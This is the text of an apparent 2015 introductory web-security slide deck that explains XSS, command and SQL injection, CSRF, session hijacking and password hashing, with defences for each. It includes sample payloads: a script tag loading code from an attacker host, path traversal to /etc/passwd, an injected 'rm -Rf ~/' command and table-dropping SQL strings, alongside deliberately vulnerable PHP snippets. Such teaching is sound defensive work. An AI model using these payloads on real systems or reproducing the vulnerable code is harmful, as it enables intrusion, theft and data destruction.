Web Security 101

© 2015 Adobe Systems Incorporated. All Rights Reserved.
Web Security 101
Brent Shaffer | Matrix Architect

© 2015 Adobe Systems Incorporated. All Rights Reserved. 2
Why are we talking about this?
▪ Your framework / programming language does not do everything for you
▪ Your website is vulnerable
▪ Security through obscurity is not sufficient
▪ Your friends may want to embarrass you
▪ "hactivists" might make you look like a fool
▪ bots are always busy
▪ Many attacks are easy to prevent
▪ The first step is becoming aware of the types of attacks that exist

Rules of Thumb
▪ All Inputs are Evil!
▪ Do not trust your users
▪ Do not trust your users' cookies, parameters, or HTTP Headers
▪ "All servers are evil" is also a good assumption for end-users
▪ Whitelists are better than blacklists
▪ Never store passwords in plaintext
▪ Never store your passwords in source code
▪ Don't leak error messages

Cross Site Scripting (XSS)
▪ The term XSS describes a specific kind of injection attack
▪ XSS injects Javascript (or other scripts) that run on the victim's client (browser)
▪ This malicious code usually steals cookies of the person who views the infected web page.
▪ Exploits a user's trust of a site. Can be combined with phishing or CSRF to steal all kinds of things.
▪ Accounted for 84% of all website security vulnerabilities (Symantec, 2007)
<script src="http://attacker-site.com/malicious-code.js"> </script>

▪ Validate user input when storing
▪ Escape when using variables in output
▪ based off the content type it's being used in
▪ Escaping HTML for a variable in JavaScript will not save you
▪ Use Templating Languages
▪ HAML, Twig (PHP), Jinja (Python), Pebble (Java)
▪ If this isn't possible, use Output Escaping
▪ Use a Markup Language if you want user-input rich text
▪ markdown, textile, rst
6
Cross Site Scripting (XSS)

Code Injection
▪ Comes in many forms
▪ Command-Line injection
▪ SQL-injection
▪ HTML
▪ JavaScript (XSS)

Code Injection - Command-Line injection
▪ File paths based on user input is NOT OKAY
$user_id = $_GET['user_id'];
$file = "/some/path/config/$user_id.json";
require $file;
▪ Attackers can access filesystem using "upwards" paths
?user_id=../../../etc/passwd #

$pic = "/some/path/pictures/$user_id.jpg";
if (`ls $pic`) { ... }
▪ Avoid user input when executing on the command line
▪ Commands like exec, passthru, and system are often used to execute bash commands
?user_id=./ && rm -Rf ~/

$file = "/some/path/config/$user_id.json";
eval ("file_get_contents('$pic');");
▪ Avoid using dynamic code execution
▪ Commands like eval are used to dynamically evaluate PHP code
?user_id=foo');file_get_contents('etc/passwd

▪ strip “upwards” paths
▪ ensure all files are relative to a safe “root”
▪ be very strict on validation
▪ output-escaping depending on the context
▪ escapeshellcmd for exec
▪ addslashes for eval
▪ use with extreme caution

Code Injection - SQL injection
© xkcd.com

▪ Similar to code injection, but happens when user input is used as part of a SQL query
$search = $_GET['search'];
$sql = "SELECT * FROM students WHERE name = '$search'";
▪ Can be used to delete, corrupt, or steal data.
?search=';DROP ALL TABLES
?search=';UPDATE students SET name=jerkface
?search=foo' OR public=0

▪ SANITIZE YOUR INPUTS
▪ use "bound variables"
$search = $_GET['search'];
$sql = "SELECT * FROM students WHERE name = ?";
$statement = $pdo->prepare($sql, $search);
$statement->execute();
▪ Use ORMs / Database Abstraction Layers when possible

Cross-Site Request Forgery (CSRF)
▪ Exploits the browsers running on the client
▪ Exploits a site's trust in its users
▪ Victim is logged into Vulnerable Website
▪ Attacker has Victim make a request to Vulnerable Website without them knowing
▪ Victim submits a form on Fake Website, but it actually posts to Vulnerable Website
▪ Victim clicks a link it believes is for Fake Website, but it actually goes to Vulnerable Website
▪ An action is executed on behalf of Victim that they did not intend
https://facebook.com/authorize?client_id=HackerGuy&authorized=true
▪ The Infamous "Samy Worm"

▪ Validate the Referrer
▪ The HTTP Referrer header says which URL initiated the request
▪ You can use this to block from any referrer that isn't you
▪ Only works if a whitelist can be constructed for where the requests will come from
▪ Use a CSRF-Token
▪ This is a token generated for each request based on the client's session ID
▪ Each form submits this back to the website
▪ Very difficult for an attacker to spoof
<input type="hidden" name="csrf"
value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt">
Cross-Site Request Forgery (CSRF)

Session Hijacking
▪ Similar to CSRF
▪ The attacker obtains the victim's cookie, and is then able to perform actions on their behalf
▪ Typically done for websites not secured with SSL/HTTPS
▪ Open networks and insecure networks (WEP) commonly found in public areas make it possible to
view other traffic on the same router
▪ Plugins make this incredibly easy
▪ FireSheep / Cookie Cadger / DroidSheep
▪ Sniffing is easy with tools like WireShark

Session Hijacking
▪ Use SSL/HTTPS you dummy!
▪ It is not enough to only secure the page the user logs into
▪ Don't allow HTTP on any site with user logins
▪ As the end user, usually whining and complaining can go a long way
▪ A few months after FireSheep, Facebook and Twitter implemented HTTPS throughout the site

Proper Password Management
19
▪ NEVER STORE PASSWORDS IN PLAINTEXT
▪ always use a hash (one-way)
▪ just hashing is not enough
▪ Lookup Tables / Rainbow Tables
▪ all passwords < 7 characters require 64GB space to crack
▪ always use a salt
▪ a random unique string for each password

Proper Password Management
▪ Brute Forcing
▪ a lot faster than you think
▪ 2012 Macbook Pro for salted MD5s:
▪ 6 char passwords: 5 hours
▪ 7 char passwords: 22 days
▪ entire english language: 1.8 seconds
▪ How to combat
▪ Use slow algorithms
▪ Iterate over hashing functions a lot of times
▪ require 8-character passwords, numbers/symbols, etc.

Resources
▪ Top 10 Common Attacks: https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet
▪ Automatic SQL Injection & Database Takeover Tool: http://sqlmap.org
▪ Amazon Mistake: http://www.devfactor.net/2014/12/30/2375-amazon-mistake/
▪ Burger King Hack: http://mashable.com/2013/02/18/burger-king-twitter-account-hacked/
▪ Twitter Hack: http://countermeasures.trendmicro.eu/twitter-not-hacked-by-iranian-cyber-army/
▪ Samy's Confession: http://namb.la/popular/tech.html
▪ Bobby Tables: http://bobby-tables.com
▪ Notorious Hacks: http://www.arnnet.com.au/slideshow/341113/top-10-most-notorious-cyber-attacks-history
▪ Passwords: http://www.slideshare.net/ircmaxell/password-storage-and-attacking-in-php-php-argentina
▪ More Good Slides: http://www.slideshare.net/mpeters/web-security-101

22
Brent Shaffer
bshafs@gmail.com
Twitter: @bshaffer
Github: @bshaffer
Questions?

Web Security 101

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Web Security 101

Similar to Web Security 101 (20)

More from Brent Shaffer

More from Brent Shaffer (8)

Recently uploaded

Recently uploaded (20)

Web Security 101